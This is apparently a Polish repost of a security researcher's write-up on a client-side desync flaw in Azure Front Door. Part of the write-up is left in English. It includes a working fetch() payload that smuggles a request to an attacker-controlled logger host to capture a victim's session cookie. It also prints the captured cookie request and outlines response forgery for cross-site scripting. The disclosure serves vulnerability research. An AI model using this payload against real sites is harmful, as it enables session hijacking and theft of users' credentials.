Atak desynchronizujący po stronie klienta [CSD]

blaszczakm.blogspot.com 1 rok temu
Pukanie do drzwi wejściowych (atak desynchronizujący po stronie klienta na Azure CDN)Kilka miesięcy temu rozpocząłem polowanie na błędy bezpieczeństwa w ramach prywatnego programu dostępnego za pośrednictwem platformy Intigriti. Podczas tego przedsięwzięcia napotkałem intrygującą anomalię podczas analizy przekierowania ruchu HTTP na HTTPS na określonym hoście.


W tym artykule zagłębię się w krótką podróż, która rozpoczęła się po wykryciu tego dziwnego zachowania i ostatecznie doprowadziła do wykrycia luki w zabezpieczeniach desynchronizacji po stronie klienta w jednym z rozwiązań CDN Microsoft Azure, znanym jako Front Door.

Odkrycie

Wszystko zaczęło się, gdy wysłałem następującą prośbę do http://redacted.com :

POST / HTTP/1.1 Host: redacted.com [...] Content-Length: 34 GET / HTTP/1.1 Host: redacted.com
Kopiuj

Skąd taka dziwna prośba? Po prostu bawiłem się w Burp po przeczytaniu fantastycznych badań Jamesa @Albinowaxa Kettle'a na temat ataków desynchronizujących dzięki przeglądarki .

A serwer odpowiedział:

HTTP/1.1 307 Temporary Redirect Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: https://redacted.com/ x-azure-ref: 20230522T201945Z-... X-Cache: CONFIG_NOCACHE HTTP/1.1 307 Temporary Redirect Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: https://redacted.com/ x-azure-ref: 20230522T201945Z-... X-Cache: CONFIG_NOCACHE
Kopiuj

Na pierwszy rzut oka wydaje się, iż nie ma w tym nic niezwykłego. Serwer otrzymał dwa żądania w tym samym połączeniu (podtrzymującym aktywność) i dwukrotnie odpowiedział przekierowaniem 307 z adresu http://na https://.

Ale… Czekaj… W rzeczywistości właśnie wysłałem jedno żądanie POST z treścią! Rozmiar ciała został określony przez Content-Lengthnagłówek.

Otrzymałem jednak dwie odpowiedzi. Oznacza to, iż serwer szczęśliwie zignorował nagłówek Content-Lengthi zinterpretował moje żądanie jako dwa oddzielne żądania.

Wygląda to na idealnego kandydata do ataku Client-Side Desync opisanego we wspomnianych badaniach.

Cytuję @Albinowax:

Klasyczne ataki polegające na desynchronizacji lub przemycie żądań polegają na celowo zniekształconych żądaniach, których zwykłe przeglądarki po prostu nie wysyłają. Ogranicza to te ataki do stron internetowych, które wykorzystują architekturę front-end/back-end. Jednak, jak dowiedzieliśmy się z analizy ataków CL.0, możliwe jest spowodowanie desynchronizacji przy użyciu w pełni zgodnych z przeglądarką żądań HTTP/1.1. Nie tylko otwiera to nowe możliwości przemytu żądań po stronie serwera, ale także umożliwia zupełnie nową klasę zagrożeń – ataki desynchronizujące po stronie klienta.

Desynchronizacja po stronie klienta (CSD) to atak, który powoduje, iż przeglądarka internetowa ofiary desynchronizuje własne połączenie z podatną na ataki witryną internetową. Można to porównać do zwykłych ataków przemycania żądań, które desynchronizują połączenie między serwerem front-end i back-end.

Po przeprowadzeniu bardziej dogłębnej analizy odkryłem, iż ten problem nie jest specyficzny dla rozwiązania klienta, ale raczej ogólny błąd w usłudze używanej przez klienta o nazwie Azure Front Door .

Drzwi wejściowe

Usługa Azure Front Door to globalna, skalowalna sieć dostarczania treści (CDN) i inteligentna platforma dostarczania aplikacji, która zapewnia bezpieczne i wydajne kierowanie ruchu internetowego do usług zaplecza.

Przyjrzyjmy się niektórym konfigurowalnym opcjom.

Jedną z jego funkcji (domyślnie włączoną) jest przekierowanie całego ruchu HTTP na HTTPS.

Technicznie odbywa się to poprzez przekierowanie przeglądarki na https://adres dzięki kodu stanu 307:

Serwer obsługuje połączenia utrzymujące aktywność:

I przekierowuje również żądania POST:

Ale problem polega na tym, iż całkowicie ignoruje Content-Lengthnagłówek:to, co wygląda na dwa żądania, jest w rzeczywistości jednym żądaniem wysłanym przez przeglądarkę internetową, w którym żółte pole zawiera dane dla żądania POST ( Content-Lengthnagłówek wskazuje na koniec danych).

Ale serwer Front Door ignoruje Content-Lengthnagłówek i traktuje go jako dwa oddzielne żądania.

Inną interesującą cechą Front Door (oczywiście nie jest to błąd) jest to, iż wszystkie serwery klientów obsługiwane przez usługę Front Door są dostępne pod jednym adresem IP i są również dostępne w jednym utrzymywanym połączeniu (jest to usługa CDN, prawda?) . Jest to więc całkowicie poprawny zestaw żądań wysyłanych w jednym połączeniu TCP:

UWAGA 1: azure-victim.jeti.pw i azure-attacker.jeti.pw to dwa oddzielne serwery WWW dwóch oddzielnych klientów (użyłem niestandardowych domen dla lepszej widoczności).

UWAGA 2: serwer azure-attacker.jeti.pw nie ma włączonych automatycznych przekierowań HTTPS, dlatego nie odpowiada przekierowaniem (może to mieć znaczenie dla różnych technik eksploatacyjnych).

Wykorzystaj

Atak CSD rozpoczyna się od odwiedzenia przez ofiarę strony internetowej atakującego, po czym jej przeglądarka wysyła dwa żądania między domenami do podatnej witryny. Pierwsze żądanie jest tworzone w celu desynchronizacji połączenia przeglądarki i wywołania szkodliwego żądania/odpowiedzi przez drugie żądanie.

Istnieje wiele sposobów, w jaki osoba atakująca może wykorzystać ten problem z desynchronizacją. Skupię się na dwóch możliwych sposobach.

Kradzież żądań

Wyobraźmy sobie, iż po wizycie ofiary witryna atakującego wysyła żądanie (np. dzięki Java Script fetch API):

fetch('http://azure-victim.jeti.pw/x', { method: 'POST', body: "POST /logger HTTP/1.1\r\nHost: azure-attacker.jeti.pw\r\nContent-Length: 200\r\n\r\n", mode: 'no-cors', redirect: 'follow', credentials: 'include' })
Kopiuj

Usługa Front Door traktuje to jako dwa osobne żądania, z których drugie jest żądaniem POST z dołączoną treścią (długość 200 bajtów).

UWAGA: pamiętaj, iż azure-attacker.jeti.pw jest skonfigurowany tak, aby nie przekierowywał automatycznie, więc serwer sprawdza Content-Lengthw tym przypadku.

Ponieważ brakuje treści żądania, serwer będzie czekał na 200 bajtów danych, aby zakończyć żądanie. Wszystko, co musi zrobić atakujący, to przekierować użytkownika ofiary na stronę ofiary:

location = 'http://azure-victim.jeti.pw/'
Kopiuj

Przeglądarka ofiary wyśle ​​kolejne żądanie GET (w większości przypadków przeglądarka ponownie użyje tego samego połączenia). Oba żądania będą wyglądać następująco:Serwer otrzymał 200 bajtów danych i wysłał żądanie POST do http://azure-attacker.jeti.pw/logger z następującymi danymi :

GET / HTTP/1.1 Host: azure-victim.jeti.pw Accept-Encoding: gzip, deflate Accept: */* Cookie: PHPSESSID=uhogavedhcduei7qlfh1eplf7c Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Connection: keep-alive Cache-Control: max-age=0
Kopiuj

I skutecznie atakujący ukradł plik cookie sesji ofiary.

„Uniwersalny” XSS poprzez fałszowanie odpowiedzi

Another way of expoiting a CSD vulnerability is to forge responses to the victim’s requests.

Let’s have a look at following request sent by the browser when victim visits malicious website (sent via fetch API):

Front Door service again treats it as two separate requests and sends both to respective customer websites. And receives 2 separate responses.

But the victim’s browser sent only one request so it expects only one response (307 redirect in our case). Second part stays in the connection pool waiting for another request to match (because of the HTTP pipelining).

When attacker redirects a victim, browser makes another request.

Ale na szczęście dla atakującego przeglądarka ma już odpowiedź oczekującą w puli połączeń (w naszym przykładzie odpowiedź zawiera ładunek XSS, który zostanie uruchomiony w kontekście strony internetowej, na którą została przekierowana ofiara).

Ponieważ atakujący może przekierować ofiarę na dowolną witrynę obsługiwaną przez Front Door i sfałszować odpowiedź, myślę, iż można to nazwać „uniwersalnym” XSS :)

https://blog.jeti.pw/posts/knocking-on-the-front-door/

Idź do oryginalnego materiału